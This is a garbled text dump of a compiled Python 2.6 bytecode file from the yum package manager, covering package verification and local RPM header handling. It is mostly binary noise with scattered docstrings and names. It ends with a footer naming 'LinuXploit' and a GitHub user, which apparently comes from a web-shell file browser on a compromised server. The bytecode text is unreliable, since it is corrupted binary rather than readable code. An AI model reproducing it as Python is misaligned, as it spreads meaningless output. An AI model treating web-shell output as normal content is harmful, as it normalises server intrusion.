           is a pre-requires or a notiiN(RjRtRPMSENSE_PREREQtRPMSENSE_SCRIPT_PREtRPMSENSE_SCRIPT_POST(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_is_pre_reqs

	cCs|iti}|iti}tt|}t|i|}|iti}tt|}|dj	ot
||||}nti|}|S(s%returns requires with pre-require bitN(
RRtRPMTAG_REQUIRENAMEtRPMTAG_REQUIREFLAGSRRRtRPMTAG_REQUIREVERSIONRRjRR8R@(RMR&RRRlRR^((s0/usr/lib/python2.6/site-packages/yum/packages.pyRjs
(RQRRRSRNRhRRRRRRR|RRRRRRRRj(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRys"												
			
t_CountedReadFilecBs eZdZdZdZRS(s Has just a read() method, and keeps a count so we can find out how much
        has been read. Implemented so we can get the real size of the file from
        prelink. cCs||_d|_dS(Ni(tfpt	read_size(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs	cCs+|ii|}|it|7_|S(N(RtreadRR(RMR)Rp((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs(RQRRRSRNR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs	t_PkgVerifyProbcBs#eZdZedZdZRS(s8 Holder for each "problem" we find with a pkg.verify(). cCs:||_||_d|_d|_||_||_dS(N(R?tmessageRjtdatabase_valuet
disk_valuet
file_typestfake(RMR?RUtftypesR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs					cCs!|djodShdd6dd6dd6dd6dd	6d
d6dd
6dd6dd6dd6dd6dd6dd6dd6}t||i||i}|px|dddgD]g}t||}t||}|djo|djptqnt||}|oPqqWn|S(NiR?itsymlinkiRiR)tuseriR5iRitgenchecksumitmtimei	tmissingi
spermissions-missingiRit	missingoki
RRRR(RjRoR?RtAssertionError(RMRdt	type2sortRptattrRty((s0/usr/lib/python2.6/site-packages/yum/packages.pyRes&


(RQRRRSRRNRe(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRsiiiiiiiR,tYumInstalledPackagecBs2eZdZddZgeeeedZRS(s2super class for dealing with packages in the rpmdbcCs4ti|t||o|i||_ndS(N(RyRNt_installed_repotget_packaget
yumdb_info(RMRtyumdb((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNsc3Cs	d}hdti6dti6dti6dti6}|ii}h}	d}
tii	|
}d}t
tdo:|iti}
|
o|
tjot|
}qqnx	|D]
	}|\
}}}}}}}}}}}}}|oGt
}x,|D]$}ti||ot}PqqW|pqq<ng}|ti@o|id	n|ti@o|id
n|ti@o|idn|ti@o|idn|ti@o|id
n|ti@o|idn|ti@o|idn|o
d}n|tijod||jo|id||n|id|o#tdd|dtg|	|<qqn|ti@o*|o#tdd|dtg|	|<n|ti@o|oqn|ti@o*|o#tdd|dtg|	|<n|ti@o|oqng}tii|oti|} | i}!yti| ti d}"Wn&t!j
o}#d| ti }"nXyt"i#| ti$d}$Wn&t!j
o}#d| ti$}$nX|djo|d@}n||}%|| i%}&|t&@oB|%|&jo5tdd|}'|%|'_'|&|'_(|i|'n|%djoy|&djol|t)@oa|i*}(ti+|})|)|(jo5tdd |}'|(|'_'|)|'_(|i|'qnt}*d|jo
t
}*n|&djo#|%d!joti|i}!n|&d!jo
t
}*nt}+|&djo
t
}+n|*oS|t,@oH| i-|jo8td"d#|}'||'_'| i-|'_(|i|'n|+oM|t.@oB|"|jo5td$d%|}'||'_'|"|'_(|i|'n|+oM|t/@oB|$|jo5td&d'|}'||'_'|$|'_(|i|'n| i%},d|jo|,d(M},|d(M}n|+oP|t0@oE|,|jo8td)d*|}'||'_'| i%|'_(|i|'n|*o|o|t1@p|o|t2@oyt3i4||}-t}.Wnt5i6j
o
t
}.nX|oH|t2@o=|.o5td+d,|}'||'_'d<|'_(|i|'n|.o|-|jo|ot8|
d-|gd.td/dd0t9d1t9d2t9d3t}|i:|i;|i<}/}0}1t=|0}0t3i4||0}-|0i>}!n|oT|t2@oI|.oB|-|jo5td4d5|}'||'_'|-|'_(|i|'qn|*oP|t1@oE|!|jo8td6d7|}'||'_'| i|'_(|i|'q	nyti|t}2Wn8t?j
o,}#t}2|#i@t@iAjo
t
}2qw	nX|2otd8d9|}'ntd:d;|}'|i|'|o||	|<qqW|	S(=sverify that the installed files match the packaged checksum
           optionally verify they match only if they are in the 'pattern' list
           returns a tuple cSsti|odSti|odSti|odSti|odSti|odSti|odSdS(s5 Given a "mode" return the name of the type of file. Rt	directoryRtfifoscharacter devicesblock devices	<unknown>(RtS_ISREGRtS_ISLNKtS_ISFIFOtS_ISCHRtS_ISBLK(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_ftypestreplaceds
not installedswrong colort	netshareds/usr/sbin/prelinktmd5tRPMTAG_FILEDIGESTALGOt
configurationt
documentationRR:s
public keytREADMEs
missing okisstate=sstate=<unknown>Rsstate is not normalRRsmissing but oks
ghost fileisuid %s not foundsgid %s not foundiR?sfile type does not matchRssymlink does not matchRRsmtime does not matchRsuser does not matchR5sgroup does not matchiRsmode does not matchRschecksum not availables-ytshelltbufsizetstdintstdouttstderrt	close_fdsRschecksum does not matchR)ssize does not matchRsfile is missingspermissions-missings#file is missing (Permission denied)N(BRtRPMFILE_STATE_REPLACEDtRPMFILE_STATE_NOTINSTALLEDtRPMFILE_STATE_WRONGCOLORtRPMFILE_STATE_NETSHAREDRtfiFromHeaderRXRYRRrRtRPM_CHECKSUM_TYPESRR;RtRPMFILE_CONFIGRtRPMFILE_DOCt
RPMFILE_GHOSTtRPMFILE_LICENSEtRPMFILE_PUBKEYtRPMFILE_READMEtRPMFILE_MISSINGOKtRPMFILE_STATE_NORMALRtlexiststlstatRtpwdtgetpwuidRtST_UIDRtgrptgetgrgidtST_GIDtst_modet_RPMVERIFY_RDEVRRt_RPMVERIFY_LINKTOtFLinktreadlinkt_RPMVERIFY_MTIMERt_RPMVERIFY_USERt_RPMVERIFY_GROUPt_RPMVERIFY_MODEt_RPMVERIFY_FILESIZEt_RPMVERIFY_DIGESTR8RRRRjRRRRRRRRterrnotEACCES(3RMtpatternstdepstscriptt
fake_problemstallRtstatemaptfiRtprelink_cmdthave_prelinkRtcsum_numRRKR)RRR;tdevtinodetlinkRtvflagsRR5RRDtpRtproblemstmy_stt
my_st_sizetmy_userR#tmy_groupRtmy_ftypetprobtfnltmy_fnlt
check_contenttcheck_permstmy_modetmy_csumtgen_csumtigRtertperms_ok((s0/usr/lib/python2.6/site-packages/yum/packages.pytverifysp	





-	


		
				
		





					
					

	
		

		
	

	
N(RQRRRSRjRNRRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs	tYumLocalPackagecBseZdZd
d
dZdZdZd
dZeddZ	dZ
dZd	Zedd
Z
eddZdZRS(sClass to handle an arbitrary package from a file path
       this inherits most things from YumInstalledPackage because
       installed packages and an arbitrary package on disk act very
       much alike. init takes a ts instance and a filename/path 
       to the package.cCs|djotidn|djotidnd|_||_d|_ytii||i}Wn.t	j
o"}tid|i|fnXt
|}d|_ti
||||i|_ti|i|_t|id|_t|id|_|i|_|i|i|i|i|if|_d|_d|_|i|_ti d|_!d|_"d|_#dS(	NsANo Transaction Set Instance for YumLocalPackage instance creations;No Filename specified for YumLocalPackage instance creationtlocals%Could not open local rpm file: %s: %siiiRW($RjRRtpkgtypeR
RR
RRRRTtcostRyRNR@R0RXRt_statR{RCRtisSrpmRkR&RRRRt	_hdrstartt_hdrendR8t_default_checksumsR%t_reldirt_baseurl(RMRtfilenameRR#tfakerepo((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs:



				'			cCs=|iddjp|idodS|idSdS(Nt
sourcepackageiR7tsrcRk(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyR .s'cCs|iS(N(R
(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyR4scCsc|djotid}n|ip4ti||i|_||idfg|_n|iS(Nii(RjR8R#RRR
Rl(RMR%((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_do_checksum7s

RcCs
|iS((R*(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyR@scCs|i|iS(N(R*Rl(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRBs
cCstS(s5 don't bother "checking" the package matches itself. (R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyR!FscCs|io|io|i|ifSt|id}|id|id}tid|\}|id}tid|\}|d}||}|d}|djod|}nd||}	|i|	|idd	|id}tid|\}
|id}tid|\}|
d}||d}
|	|
}|i|	|_||_|	|fS(
sQtakes an rpm file or fileobject and returns byteranges for location of the headerR%ihis>Iiiiipi(	R!R"topenR
tseekRtstructtunpacktclose(RMtfotbinindextsigindextbindatatsigdatatsigindexsizetsigsizetdisttoboundaryRFthdrindexthdrdatathdrindexsizethdrsizeRG((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_get_header_byte_rangeJs6








		cCs|idS(i(R<(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRzscCs|idS(i(R<(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyR{scCs|ioQ|ii|io;|ii|id}|ddjo|d}qdn
|i}|io5dti|idtti|dtf}ndti|dt}|S(NRWiRUis$<location xml:base="%s" href="%s"/>
RQs<location href="%s"/>
(R$R
RkRIR%R8RTR(RMtrelpathRU((s0/usr/lib/python2.6/site-packages/yum/packages.pyRV}s 	
N(RQRRRSRjRNR RR*RRRR!R<RGRFRV(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs'						0(5RSRRXtos.pathR8R=R;RRt
subprocessRRR
RtrpmUtils.miscutilsRRRRR-t	constantsRt
uses_fragmentRRRRRRR.RKRLRTtobjectRiRRRRyRRRRRRRRRRRRRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyt<module>s`
		"8	1b/ 







	

Youez - 2016 - github.com/yon3zu
LinuXploit